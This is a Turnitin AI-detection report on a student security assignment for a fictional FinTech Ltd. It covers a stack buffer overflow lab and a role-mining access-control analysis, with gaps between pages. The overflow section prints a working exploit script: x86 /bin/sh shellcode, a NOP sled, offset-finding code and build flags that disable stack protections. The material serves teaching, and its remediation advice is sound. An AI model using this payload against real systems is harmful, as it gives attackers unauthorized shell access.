AI-Security Assessment Solution PDF
AI-Security Assessment Solution PDF
Security_Assessment_Solution.pdf
Turnitin
Document Details
Submission ID
trn:oid:::27005:84040677 19 Pages
Download Date
File Name
Security_Assessment_Solution.pdf
File Size
2.3 MB
The percentage indicates the combined amount of likely AI-generated text as It is essential to understand the limitations of AI detection before making decisions
well as likely AI-generated text that was also likely AI-paraphrased. about a student’s work. We encourage you to learn more about Turnitin’s AI detection
capabilities before using the tool.
Detection Groups
1 AI-generated only 24%
Likely AI-generated text from a large-language model.
Disclaimer
Our AI writing assessment is designed to help educators identify text that might be prepared by a generative AI tool. Our AI writing assessment may not always be accurate (it may misidentify
writing that is likely AI generated as AI generated and AI paraphrased or likely AI generated and AI paraphrased writing as only AI generated) so it should not be used as the sole basis for
adverse actions against a student. It takes further scrutiny and human judgment in conjunction with an organization's application of its specific academic policies to determine whether any
academic misconduct has occurred.
False positives (incorrectly flagging human-written text as AI-generated) are a possibility in AI models.
AI detection scores under 20%, which we do not surface in new reports, have a higher likelihood of false positives. To reduce the
likelihood of misinterpretation, no score or highlights are attributed and are indicated with an asterisk in the report (*%).
The AI writing percentage should not be the sole basis to determine whether misconduct has occurred. The reviewer/instructor
should use the percentage as a means to start a formative conversation with their student and/or use it to examine the submitted
assignment in accordance with their school's policies.
Non-qualifying text, such as bullet points, annotated bibliographies, etc., will not be processed and can create disparity between the submission highlights and the
percentage shown.
March 2025
Abstract
This document presents a comprehensive security assessment for FinTech Ltd.,
focusing on two critical security aspects: buffer overflow vulnerability exploitation
and role-based access control analysis. The assessment identifies significant security
vulnerabilities in a C program and analyzes access control structures for three
client organizations. Detailed methodologies, experimental results, and actionable
recommendations are provided to enhance security posture and ensure regulatory
compliance.
Contents
1 Executive Summary 2
1
Page 3 of 21 - AI Writing Submission Submission ID trn:oid:::27005:84040677
Page 4 of 21 - AI Writing Submission Submission ID trn:oid:::27005:84040677
FinTech Ltd. Security Assessment
4 Conclusion 18
2
Page 4 of 21 - AI Writing Submission Submission ID trn:oid:::27005:84040677
Page 5 of 21 - AI Writing Submission Submission ID trn:oid:::27005:84040677
FinTech Ltd. Security Assessment
1 Executive Summary
This security assessment addresses two critical aspects of FinTech Ltd.’s security infras-
tructure:
Key Assessment Areas
• Buffer Overflow Vulnerability Exploitation: Analysis and demonstration
of exploiting a vulnerable C program to gain unauthorized shell access.
3
Page 5 of 21 - AI Writing Submission Submission ID trn:oid:::27005:84040677
Page 6 of 21 - AI Writing Submission Submission ID trn:oid:::27005:84040677
FinTech Ltd. Security Assessment
Identified Vulnerabilities
1. Unsafe gets() Function: The program uses the gets() function to read
user input, which is notorious for its inability to perform bounds checking. This
function will continue reading input until a newline character is encountered,
regardless of the buffer size.
2. Unsafe strcpy() Function: The program uses strcpy() to copy the user
input into a fixed-size buffer without any bounds checking. If the input is
larger than the buffer size (100 bytes), it will overflow into adjacent memory.
3. No Input Validation: The program does not validate the length or content
of the user input before processing it.
Figure 1: Process Memory Layout showing the organization of different memory regions
including stack, heap, and program code. The stack grows downward from higher memory
addresses, while the heap grows upward from lower memory addresses.
4
Page 6 of 21 - AI Writing Submission Submission ID trn:oid:::27005:84040677
Page 7 of 21 - AI Writing Submission Submission ID trn:oid:::27005:84040677
FinTech Ltd. Security Assessment
2. The stack frame contains the local variable buffer[100], followed by the saved
frame pointer (SFP) and the return address.
3. By overflowing the buffer, we can overwrite the return address with an address of
our choosing, redirecting program execution to our shellcode.
Figure 2: Normal Stack Layout during program execution showing the proper organization
of the buffer, saved frame pointer, and return address. Under normal conditions, these
memory regions maintain their integrity.
5
Page 7 of 21 - AI Writing Submission Submission ID trn:oid:::27005:84040677
Page 8 of 21 - AI Writing Submission Submission ID trn:oid:::27005:84040677
FinTech Ltd. Security Assessment
Figure 3: Stack Layout after Buffer Overflow showing how excessive input overwrites
adjacent memory regions including the saved frame pointer and return address. This
corruption allows an attacker to control program execution flow.
• Shellcode: Machine code that, when executed, will spawn a shell. We’ll use
a standard Linux x86 shellcode that executes /bin/sh.
• Padding: Additional bytes to fill the buffer and reach the return address
location.
• Return Address: The address that will overwrite the original return address,
pointing to somewhere in our NOP sled.
6
Page 8 of 21 - AI Writing Submission Submission ID trn:oid:::27005:84040677
Page 9 of 21 - AI Writing Submission Submission ID trn:oid:::27005:84040677
FinTech Ltd. Security Assessment
Figure 4: Buffer Overflow Exploit Structure showing the organization of the payload
components including the NOP sled, shellcode, padding, and return address. This carefully
crafted structure allows for reliable exploitation of the vulnerability.
Figure 5: Buffer Overflow Attack Flow showing the sequential steps required to successfully
exploit the vulnerability, from identifying the vulnerable function to gaining shell access.
We disable stack protection mechanisms and make the stack executable to facilitate
our exploit. The -fno-stack-protector flag disables stack canaries that would detect
stack corruption, while -z execstack makes the stack memory executable, allowing our
shellcode to run.
7
Page 9 of 21 - AI Writing Submission Submission ID trn:oid:::27005:84040677
Page 10 of 21 - AI Writing Submission Submission ID trn:oid:::27005:84040677
FinTech Ltd. Security Assessment
2.4.2 Step 2: Determine the buffer size and offset to the return address
We can use a pattern generation tool to create a unique pattern and determine the exact
offset. First, we’ll create a Python script to generate a test pattern:
1 # generate_pattern . py
2 import struct
3
4 def generate_pattern ( length ) :
5 pattern = " "
6 parts = " A B C D E F G H I J K L M N O P Q R S T U V W X Y Z "
7 for i in range ( length ) :
8 pattern += parts [ i % len ( parts ) ]
9 return pattern
10
11 # Generate a pattern long enough to overflow the buffer
12 pattern = generate_pattern (200)
13
14 with open ( " exploit_input . txt " , " w " ) as f :
15 f . write ( pattern )
16
17 print ( " Pattern generated and saved to exploit_input . txt " )
When the program crashes, we examine the instruction pointer (EIP/RIP) to determine
the offset:
1 ( gdb ) info registers eip
2 eip 0 x4B4A4948 0 x4B4A4948
We search for this pattern in our input to determine the exact offset:
1 # find_offset . py
2 pattern = " A B C D E F G H I J K L M N O P Q R S T U V W X Y Z " * 8
3 eip_value = " HIJK " # The value found in EIP ( in reverse order due to
little - endian )
4 offset = pattern . find ( eip_value )
5 print ( f " Offset to EIP : { offset } " ) # Output : Offset to EIP : 112
8
Page 10 of 21 - AI Writing Submission Submission ID trn:oid:::27005:84040677
Page 11 of 21 - AI Writing Submission Submission ID trn:oid:::27005:84040677
FinTech Ltd. Security Assessment
5 shellcode = (
6 b " \ x31 \ xc0 \ x50 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ x50 "
7 b " \ x53 \ x89 \ xe1 \ xb0 \ x0b \ xcd \ x80 "
8 )
9
10 # Buffer structure :
11 # [ NOP Sled ][ Shellcode ][ Padding ][ Return Address ]
12
13 # Create NOP sled
14 nop_sled = b " \ x90 " * 50
15
16 # Calculate padding size
17 # offset to return address (112) - ( length of NOP sled + length of
shellcode )
18 padding_size = 112 - ( len ( nop_sled ) + len ( shellcode ) )
19 padding = b " A " * padding_size
20
21 # Return address ( pointing to the middle of our NOP sled )
22 # This address will vary depending on the environment
23 # We ’ ll determine it using GDB
24 buffer_address = 0 xbffff350 # Example address , will need to be adjusted
25 return_address = struct . pack ( " <I " , buffer_address + 25) # Point to
middle of NOP sled
26
27 # Construct the final exploit
28 exploit = nop_sled + shellcode + padding + return_address
29
30 with open ( " exploit . bin " , " wb " ) as f :
31 f . write ( exploit )
32
33 print ( f " Exploit created with { len ( nop_sled ) } bytes of NOP sled " )
34 print ( f " Shellcode length : { len ( shellcode ) } bytes " )
35 print ( f " Padding : { padding_size } bytes " )
36 print ( f " Return address : 0 x { buffer_address + 25:08 x } " )
37 print ( f " Total exploit size : { len ( exploit ) } bytes " )
This gives us the starting address of the buffer, which we use to update our exploit
script with the correct return address.
9
Page 11 of 21 - AI Writing Submission Submission ID trn:oid:::27005:84040677
Page 12 of 21 - AI Writing Submission Submission ID trn:oid:::27005:84040677
FinTech Ltd. Security Assessment
If successful, this will spawn a shell, demonstrating the successful exploitation of the
buffer overflow vulnerability.
The appearance of the shell prompt (#) indicates successful exploitation, allowing the
attacker to execute arbitrary commands with the privileges of the vulnerable program.
1. Use Safe String Functions: Replace unsafe functions like gets() and
strcpy() with safer alternatives such as fgets() and strncpy() that perform
bounds checking.
4. Input Validation: Validate all user input for length and content before
processing.
6. Regular Security Audits: Conduct regular code reviews and security audits
to identify and remediate similar vulnerabilities.
10
Page 12 of 21 - AI Writing Submission Submission ID trn:oid:::27005:84040677
Page 13 of 21 - AI Writing Submission Submission ID trn:oid:::27005:84040677
FinTech Ltd. Security Assessment
Figure 6: Role Mining Process Flow showing the sequential steps from data collection
to implementation. Each step is critical for developing an effective RBAC structure that
balances security and usability.
11
Page 13 of 21 - AI Writing Submission Submission ID trn:oid:::27005:84040677
Page 14 of 21 - AI Writing Submission Submission ID trn:oid:::27005:84040677
FinTech Ltd. Security Assessment
Figure 7: Binary Access Control Matrix Example showing the current permission structure
where rows represent users and columns represent resources. This visualization helps
identify patterns in the existing access control configuration.
1. Data Cleaning: Removing any inconsistencies or errors in the access control data.
12
Page 14 of 21 - AI Writing Submission Submission ID trn:oid:::27005:84040677
Page 15 of 21 - AI Writing Submission Submission ID trn:oid:::27005:84040677
FinTech Ltd. Security Assessment
1. Role Minimality: Measures how efficiently the roles cover the user-permission
assignments with minimal redundancy.
5. Least Privilege Adherence: Quantifies how well the role structure adheres
to the principle of least privilege.
13
Page 15 of 21 - AI Writing Submission Submission ID trn:oid:::27005:84040677
Page 16 of 21 - AI Writing Submission Submission ID trn:oid:::27005:84040677
FinTech Ltd. Security Assessment
Figure 9: Role Quality Metrics visualization showing the performance of the proposed
RBAC structure across five key quality dimensions. This radar chart provides a compre-
hensive view of the role mining results.
1. Outlier Permissions: Permissions that don’t fit well into any role and might
indicate unusual access patterns.
14
Page 16 of 21 - AI Writing Submission Submission ID trn:oid:::27005:84040677
Page 17 of 21 - AI Writing Submission Submission ID trn:oid:::27005:84040677
FinTech Ltd. Security Assessment
Figure 10: Role Distribution Across Organizations showing the number of users, resources,
and roles (before and after role mining) for each client. This comparison highlights the
efficiency gains achieved through proper role structuring.
15
Page 17 of 21 - AI Writing Submission Submission ID trn:oid:::27005:84040677
Page 18 of 21 - AI Writing Submission Submission ID trn:oid:::27005:84040677
FinTech Ltd. Security Assessment
Figure 11: Role-Permission Matrix showing the assignment of permissions to roles. This
heatmap visualization helps identify patterns of permission allocation and potential areas
of role overlap.
Figure 12: Least Privilege Violations by Organization showing the distribution of compli-
ance levels across the three client organizations. This pie chart visualization helps quantify
the security improvement potential.
16
Page 18 of 21 - AI Writing Submission Submission ID trn:oid:::27005:84040677
Page 19 of 21 - AI Writing Submission Submission ID trn:oid:::27005:84040677
FinTech Ltd. Security Assessment
3.3 Discussion
17
Page 19 of 21 - AI Writing Submission Submission ID trn:oid:::27005:84040677
Page 20 of 21 - AI Writing Submission Submission ID trn:oid:::27005:84040677
FinTech Ltd. Security Assessment
3. Role Explosion Risk: Organization C, with its larger user base and resource
set, showed signs of potential role explosion if roles were defined too narrowly.
3.3.4 Recommendations
Based on our analysis, we recommend the following actions for implementing RBAC in
the three client organizations:
18
Page 20 of 21 - AI Writing Submission Submission ID trn:oid:::27005:84040677
Page 21 of 21 - AI Writing Submission Submission ID trn:oid:::27005:84040677
FinTech Ltd. Security Assessment
Recommendations
3. Permission Rationalization: For permissions that don’t fit well into the role
structure, conduct a detailed review to determine if they represent legitimate
business needs or potential security risks.
4 Conclusion
This security assessment has identified and demonstrated critical vulnerabilities in both
the provided C program and the access control structures of the three client organizations.
The buffer overflow vulnerability in the C program represents a severe security risk that
could allow attackers to gain unauthorized system access. The ad hoc permission structures
in the client organizations create potential security gaps and management challenges.
By implementing the recommended security measures for the C program and adopting
the proposed role-based access control structures, FinTech Ltd. and its clients can
significantly enhance their security posture. The role mining approach provides a systematic
method for transforming complex permission assignments into manageable role structures
while maintaining the principle of least privilege.
These improvements will help protect sensitive financial data, ensure regulatory com-
pliance, and reduce the administrative burden of access management.
19
Page 21 of 21 - AI Writing Submission Submission ID trn:oid:::27005:84040677